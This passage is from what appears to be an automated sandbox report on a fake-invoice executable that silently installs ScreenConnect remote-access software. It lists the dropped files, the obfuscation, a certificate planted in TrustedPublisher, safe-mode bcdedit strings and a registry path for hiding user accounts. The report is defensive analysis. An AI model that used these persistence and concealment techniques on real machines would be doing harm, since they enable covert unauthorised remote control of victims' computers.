Source: Binary string: C:\builds\cc\cwcontrol\Product\Windows\obj\Release\net20\ScreenConnect.Windows.pdbW] source: dfsvc.exe, 00000002.00000002.3991111838.0000023CCC35F000.00000004.00000800.00020000.00000000.sdmp, dfsvc.exe, 00000002.00000002.3991111838.0000023CCC6DD000.00000004.00000800.00020000.00000000.sdmp, dfsvc.exe, 00000002.00000002.3991111838.0000023CCC789000.00000004.00000800.00020000.00000000.sdmp, ScreenConnect.WindowsClient.exe, 00000006.00000002.2387012518.000000001B472000.00000002.00000001.01000000.0000000E.sdmp, ScreenConnect.Windows.dll0.2.dr, ScreenConnect.Windows.dll.2.dr
Source: Binary string: C:\builds\cc\cwcontrol\Product\Client\obj\Release\net20\ScreenConnect.Client.pdb source: dfsvc.exe, 00000002.00000002.3991111838.0000023CCC6E5000.00000004.00000800.00020000.00000000.sdmp, dfsvc.exe, 00000002.00000002.3991111838.0000023CCC789000.00000004.00000800.00020000.00000000.sdmp, dfsvc.exe, 00000002.00000002.3991111838.0000023CCC367000.00000004.00000800.00020000.00000000.sdmp, ScreenConnect.WindowsClient.exe, 00000006.00000002.2385098018.00000000021E2000.00000002.00000001.01000000.0000000F.sdmp, ScreenConnect.Client.dll.2.dr, ScreenConnect.Client.dll0.2.dr
Source: Binary string: C:\builds\cc\cwcontrol\Product\Core\obj\Release\net20\ScreenConnect.Core.pdb source: dfsvc.exe, 00000002.00000002.3991111838.0000023CCC6D5000.00000004.00000800.00020000.00000000.sdmp, dfsvc.exe, 00000002.00000002.3991111838.0000023CCC47C000.00000004.00000800.00020000.00000000.sdmp, ScreenConnect.ClientService.exe, 00000007.00000002.2383094950.0000000005022000.00000002.00000001.01000000.0000000D.sdmp, ScreenConnect.Core.dll0.2.dr, ScreenConnect.Core.dll.2.dr
Source: E_BILL0041272508.exe Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_IMPORT is in: .rdata
Source: E_BILL0041272508.exe Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_RESOURCE is in: .rsrc
Source: E_BILL0041272508.exe Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_BASERELOC is in: .reloc
Source: E_BILL0041272508.exe Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG is in: .rdata
Source: E_BILL0041272508.exe Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_IAT is in: .rdata

Data Obfuscation
barindex
Detected unpacking (creates a PE file in dynamic memory)
Source: C:\Users\user\AppData\Local\Apps\2.0\N5RWKL9C.2MA\OAPVKWJD.WRW\scre..tion_25b0fbb6ef7eb094_0018.0002_8dd4fc92cc8095f0\ScreenConnect.ClientService.exe Unpacked PE file: 7.2.ScreenConnect.ClientService.exe.5020000.1.unpack
Binary contains a suspicious time stamp
Source: ScreenConnect.Client.dll.2.dr Static PE information: 0xB8CD3C5A [Sat Mar 31 22:21:14 2068 UTC]
Contains functionality to dynamically determine API calls
Source: C:\Users\user\Desktop\E_BILL0041272508.exe Code function: 0_2_009B1000 LocalAlloc,LocalAlloc,GetModuleFileNameW,CertOpenSystemStoreA,LocalAlloc,LocalAlloc,CryptQueryObject,LocalFree,CryptMsgGetParam,CryptMsgGetParam,LocalAlloc,LocalAlloc,CryptMsgGetParam,CertCreateCertificateContext,CertAddCertificateContextToStore,CertFreeCertificateContext,LocalFree,CryptMsgGetParam,LocalFree,LocalFree,CryptMsgGetParam,CryptMsgGetParam,CertFindAttribute,CertFindAttribute,CertFindAttribute,LoadLibraryA,GetProcAddress,Sleep,CertDeleteCertificateFromStore,CertDeleteCertificateFromStore,CertCloseStore,LocalFree,LocalFree,LocalFree, 0_2_009B1000
PE file contains an invalid checksum
Source: E_BILL0041272508.exe Static PE information: real checksum: 0x1bda6 should be: 0x23878
Uses code obfuscation techniques (call, push, ret)
Source: C:\Users\user\Desktop\E_BILL0041272508.exe Code function: 0_2_009B1BC0 push ecx; ret 0_2_009B1BD3
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Code function: 2_2_00007FFD3467D2A5 pushad ; iretd 2_2_00007FFD3467D2A6
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Code function: 2_2_00007FFD3479845E push eax; ret 2_2_00007FFD3479846D
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Code function: 2_2_00007FFD347A44B1 push esp; retf 2_2_00007FFD347A4619
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Code function: 2_2_00007FFD347900BD pushad ; iretd 2_2_00007FFD347900C1
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Code function: 2_2_00007FFD3479842E pushad ; ret 2_2_00007FFD3479845D
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Code function: 2_2_00007FFD34797D00 push eax; retf 2_2_00007FFD34797D1D
Source: C:\Users\user\AppData\Local\Apps\2.0\N5RWKL9C.2MA\OAPVKWJD.WRW\scre..tion_25b0fbb6ef7eb094_0018.0002_8dd4fc92cc8095f0\ScreenConnect.WindowsClient.exe Code function: 6_2_00007FFD34783F3A pushad ; retf 6_2_00007FFD34783F3B
Source: C:\Users\user\AppData\Local\Apps\2.0\N5RWKL9C.2MA\OAPVKWJD.WRW\scre..tion_25b0fbb6ef7eb094_0018.0002_8dd4fc92cc8095f0\ScreenConnect.WindowsClient.exe Code function: 6_2_00007FFD3478401A push eax; iretd 6_2_00007FFD3478401B
Source: C:\Users\user\AppData\Local\Apps\2.0\N5RWKL9C.2MA\OAPVKWJD.WRW\scre..tion_25b0fbb6ef7eb094_0018.0002_8dd4fc92cc8095f0\ScreenConnect.WindowsClient.exe Code function: 6_2_00007FFD34782FDA pushad ; retf 6_2_00007FFD34782FDB
Source: C:\Users\user\AppData\Local\Apps\2.0\N5RWKL9C.2MA\OAPVKWJD.WRW\scre..tion_25b0fbb6ef7eb094_0018.0002_8dd4fc92cc8095f0\ScreenConnect.WindowsClient.exe Code function: 6_2_00007FFD347830BA push eax; iretd 6_2_00007FFD347830BB
Source: C:\Users\user\AppData\Local\Apps\2.0\N5RWKL9C.2MA\OAPVKWJD.WRW\scre..tion_25b0fbb6ef7eb094_0018.0002_8dd4fc92cc8095f0\ScreenConnect.WindowsClient.exe Code function: 6_2_00007FFD347801FD push ebp; retf 6_2_00007FFD347801EC
Source: C:\Users\user\AppData\Local\Apps\2.0\N5RWKL9C.2MA\OAPVKWJD.WRW\scre..tion_25b0fbb6ef7eb094_0018.0002_8dd4fc92cc8095f0\ScreenConnect.WindowsClient.exe Code function: 6_2_00007FFD34780188 push ebp; retf 6_2_00007FFD347801EC
Source: C:\Users\user\AppData\Local\Apps\2.0\N5RWKL9C.2MA\OAPVKWJD.WRW\scre..tion_25b0fbb6ef7eb094_0018.0002_8dd4fc92cc8095f0\ScreenConnect.WindowsClient.exe Code function: 6_2_00007FFD347801D8 push ebp; retf 6_2_00007FFD347801EC
Source: C:\Users\user\AppData\Local\Apps\2.0\N5RWKL9C.2MA\OAPVKWJD.WRW\scre..tion_25b0fbb6ef7eb094_0018.0002_8dd4fc92cc8095f0\ScreenConnect.ClientService.exe Code function: 8_2_05C09CF0 push esp; iretd 8_2_05C09CF1
Source: C:\Users\user\AppData\Local\Apps\2.0\N5RWKL9C.2MA\OAPVKWJD.WRW\scre..tion_25b0fbb6ef7eb094_0018.0002_8dd4fc92cc8095f0\ScreenConnect.ClientService.exe Code function: 8_2_05C08F70 push C304E3C5h; ret 8_2_05C08F80
Source: C:\Users\user\AppData\Local\Apps\2.0\N5RWKL9C.2MA\OAPVKWJD.WRW\scre..tion_25b0fbb6ef7eb094_0018.0002_8dd4fc92cc8095f0\ScreenConnect.ClientService.exe Code function: 8_2_05C0E9A2 push esp; ret 8_2_05C0E9B3
Source: C:\Users\user\AppData\Local\Apps\2.0\N5RWKL9C.2MA\OAPVKWJD.WRW\scre..tion_25b0fbb6ef7eb094_0018.0002_8dd4fc92cc8095f0\ScreenConnect.ClientService.exe Code function: 8_2_05C0E941 pushad ; ret 8_2_05C0E953
Source: C:\Users\user\AppData\Local\Apps\2.0\N5RWKL9C.2MA\OAPVKWJD.WRW\scre..tion_25b0fbb6ef7eb094_0018.0002_8dd4fc92cc8095f0\ScreenConnect.WindowsClient.exe Code function: 9_2_00007FFD34A8AC94 pushad ; iretd 9_2_00007FFD34A8ACB5
Source: C:\Users\user\AppData\Local\Apps\2.0\N5RWKL9C.2MA\OAPVKWJD.WRW\scre..tion_25b0fbb6ef7eb094_0018.0002_8dd4fc92cc8095f0\ScreenConnect.WindowsClient.exe Code function: 9_2_00007FFD34A8565B pushad ; retf 9_2_00007FFD34A85679
Source: C:\Users\user\AppData\Local\Apps\2.0\N5RWKL9C.2MA\OAPVKWJD.WRW\scre..tion_25b0fbb6ef7eb094_0018.0002_8dd4fc92cc8095f0\ScreenConnect.WindowsClient.exe Code function: 9_2_00007FFD34A815D0 push eax; iretd 9_2_00007FFD34A815D1
Source: C:\Users\user\AppData\Local\Apps\2.0\N5RWKL9C.2MA\OAPVKWJD.WRW\scre..tion_25b0fbb6ef7eb094_0018.0002_8dd4fc92cc8095f0\ScreenConnect.WindowsClient.exe Code function: 9_2_00007FFD34A85670 pushad ; retf 9_2_00007FFD34A85679
Source: C:\Users\user\AppData\Local\Apps\2.0\N5RWKL9C.2MA\OAPVKWJD.WRW\scre..tion_25b0fbb6ef7eb094_0018.0002_8dd4fc92cc8095f0\ScreenConnect.WindowsClient.exe Code function: 9_2_00007FFD34A858A7 push ss; iretd 9_2_00007FFD34A858B5
Source: C:\Users\user\AppData\Local\Apps\2.0\N5RWKL9C.2MA\OAPVKWJD.WRW\scre..tion_25b0fbb6ef7eb094_0018.0002_8dd4fc92cc8095f0\ScreenConnect.WindowsClient.exe Code function: 9_2_00007FFD34A81199 push esp; iretd 9_2_00007FFD34A8119A
Source: C:\Users\user\AppData\Local\Apps\2.0\N5RWKL9C.2MA\OAPVKWJD.WRW\scre..tion_25b0fbb6ef7eb094_0018.0002_8dd4fc92cc8095f0\ScreenConnect.WindowsClient.exe Code function: 9_2_00007FFD34A8127D push ebx; iretd 9_2_00007FFD34A8127E
Source: C:\Users\user\AppData\Local\Apps\2.0\N5RWKL9C.2MA\OAPVKWJD.WRW\scre..tion_25b0fbb6ef7eb094_0018.0002_8dd4fc92cc8095f0\ScreenConnect.WindowsClient.exe Code function: 9_2_00007FFD34A813ED push edx; iretd 9_2_00007FFD34A813EE
Source: C:\Users\user\AppData\Local\Apps\2.0\N5RWKL9C.2MA\OAPVKWJD.WRW\scre..tion_25b0fbb6ef7eb094_0018.0002_8dd4fc92cc8095f0\ScreenConnect.WindowsClient.exe Code function: 9_2_00007FFD34A81449 push ecx; iretd 9_2_00007FFD34A8144A
Source: C:\Users\user\AppData\Local\Apps\2.0\N5RWKL9C.2MA\OAPVKWJD.WRW\scre..tion_25b0fbb6ef7eb094_0018.0002_8dd4fc92cc8095f0\ScreenConnect.WindowsClient.exe Code function: 9_2_00007FFD34A81391 push edx; iretd 9_2_00007FFD34A81392
Drops PE files
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe File created: C:\Users\user\AppData\Local\Temp\Deployment\L1OYMTWE.Y75\21CVL10Y.PB3\ScreenConnect.Windows.dll Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe File created: C:\Users\user\AppData\Local\Temp\Deployment\L1OYMTWE.Y75\21CVL10Y.PB3\ScreenConnect.WindowsFileManager.exe Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe File created: C:\Users\user\AppData\Local\Temp\Deployment\L1OYMTWE.Y75\21CVL10Y.PB3\ScreenConnect.ClientService.dll Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe File created: C:\Users\user\AppData\Local\Apps\2.0\N5RWKL9C.2MA\OAPVKWJD.WRW\scre...exe_25b0fbb6ef7eb094_0018.0002_none_98a7d58e59681f92\ScreenConnect.WindowsBackstageShell.exe Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe File created: C:\Users\user\AppData\Local\Apps\2.0\N5RWKL9C.2MA\OAPVKWJD.WRW\scre..vice_4b14c015c87c1ad8_0018.0002_none_0564cf62aaf28471\ScreenConnect.ClientService.dll Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe File created: C:\Users\user\AppData\Local\Temp\Deployment\L1OYMTWE.Y75\21CVL10Y.PB3\ScreenConnect.ClientService.exe Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe File created: C:\Users\user\AppData\Local\Apps\2.0\N5RWKL9C.2MA\OAPVKWJD.WRW\scre..dows_4b14c015c87c1ad8_0018.0002_none_58890efb51813436\ScreenConnect.Windows.dll Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe File created: C:\Users\user\AppData\Local\Temp\Deployment\L1OYMTWE.Y75\21CVL10Y.PB3\ScreenConnect.Core.dll Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe File created: C:\Users\user\AppData\Local\Apps\2.0\N5RWKL9C.2MA\OAPVKWJD.WRW\scre..ient_4b14c015c87c1ad8_0018.0002_none_b558103dfe170413\ScreenConnect.WindowsClient.exe Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe File created: C:\Users\user\AppData\Local\Temp\Deployment\L1OYMTWE.Y75\21CVL10Y.PB3\ScreenConnect.WindowsBackstageShell.exe Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe File created: C:\Users\user\AppData\Local\Temp\Deployment\L1OYMTWE.Y75\21CVL10Y.PB3\ScreenConnect.WindowsClient.exe Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe File created: C:\Users\user\AppData\Local\Apps\2.0\N5RWKL9C.2MA\OAPVKWJD.WRW\scre...exe_25b0fbb6ef7eb094_0018.0002_none_98a7d58e59681f92\ScreenConnect.ClientService.exe Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe File created: C:\Users\user\AppData\Local\Apps\2.0\N5RWKL9C.2MA\OAPVKWJD.WRW\scre...exe_25b0fbb6ef7eb094_0018.0002_none_98a7d58e59681f92\ScreenConnect.WindowsFileManager.exe Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe File created: C:\Users\user\AppData\Local\Apps\2.0\N5RWKL9C.2MA\OAPVKWJD.WRW\scre..ient_4b14c015c87c1ad8_0018.0002_none_ea2694ec2482770a\ScreenConnect.Client.dll Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe File created: C:\Users\user\AppData\Local\Apps\2.0\N5RWKL9C.2MA\OAPVKWJD.WRW\scre..core_4b14c015c87c1ad8_0018.0002_none_5411371a15332106\ScreenConnect.Core.dll Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe File created: C:\Users\user\AppData\Local\Temp\Deployment\L1OYMTWE.Y75\21CVL10Y.PB3\ScreenConnect.Client.dll Jump to dropped file
May use bcdedit to modify the Windows boot settings
Source: ScreenConnect.ClientService.dll.2.dr Binary or memory string: bcdedit.exeg/copy {current} /d "Reboot and Reconnect Safe Mode"7{.{8}-.{4}-.{4}-.{4}-.{12}}
Source: ScreenConnect.ClientService.dll0.2.dr Binary or memory string: bcdedit.exeg/copy {current} /d "Reboot and Reconnect Safe Mode"7{.{8}-.{4}-.{4}-.{4}-.{12}}
Creates or modifies windows services
Source: C:\Users\user\AppData\Local\Apps\2.0\N5RWKL9C.2MA\OAPVKWJD.WRW\scre..tion_25b0fbb6ef7eb094_0018.0002_8dd4fc92cc8095f0\ScreenConnect.ClientService.exe Registry key created: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\EventLog\Application Jump to behavior
Modifies existing windows services
Source: C:\Users\user\AppData\Local\Apps\2.0\N5RWKL9C.2MA\OAPVKWJD.WRW\scre..tion_25b0fbb6ef7eb094_0018.0002_8dd4fc92cc8095f0\ScreenConnect.ClientService.exe Registry key value modified: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\ScreenConnect Client (b044e727-8609-4a6c-b885-92d6249fd38a) Jump to behavior

Hooking and other Techniques for Hiding and Protection
barindex
Contains functionality to hide user accounts
Source: ScreenConnect.WindowsClient.exe, 00000006.00000002.2387012518.000000001B472000.00000002.00000001.01000000.0000000E.sdmp String found in binary or memory: SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\SpecialAccounts\UserList
Source: ScreenConnect.ClientService.exe, 00000007.00000002.2382809510.0000000002B12000.00000002.00000001.01000000.0000000C.sdmp String found in binary or memory: SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\SpecialAccounts\UserList?ScreenConnect.WindowsClient.exe
Source: ScreenConnect.WindowsClient.exe, 00000009.00000002.2435126842.0000000002241000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\SpecialAccounts\UserList?ScreenConnect.WindowsClient.exe
Source: ScreenConnect.WindowsClient.exe, 00000009.00000002.2435049004.00000000020E0000.00000004.08000000.00040000.00000000.sdmp String found in binary or memory: SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\SpecialAccounts\UserList?ScreenConnect.WindowsClient.exe
Source: ScreenConnect.ClientService.dll.2.dr String found in binary or memory: SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\SpecialAccounts\UserList?ScreenConnect.WindowsClient.exe
Source: ScreenConnect.ClientService.dll0.2.dr String found in binary or memory: SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\SpecialAccounts\UserList?ScreenConnect.WindowsClient.exe
Source: ScreenConnect.Windows.dll0.2.dr String found in binary or memory: SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\SpecialAccounts\UserList
Source: ScreenConnect.Windows.dll.2.dr String found in binary or memory: SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\SpecialAccounts\UserList
Stores large binary data to the registry
Source: C:\Users\user\Desktop\E_BILL0041272508.exe Key value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\SystemCertificates\TrustedPublisher\Certificates\7B0F360B775F76C94A12CA48445AA2D2A875701C Blob Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Local\Apps\2.0\N5RWKL9C.2MA\OAPVKWJD.WRW\scre..tion_25b0fbb6ef7eb094_0018.0002_8dd4fc92cc8095f0\ScreenConnect.WindowsClient.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Local\Apps\2.0\N5RWKL9C.2MA\OAPVKWJD.WRW\scre..tion_25b0fbb6ef7eb094_0018.0002_8dd4fc92cc8095f0\ScreenConnect.WindowsClient.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
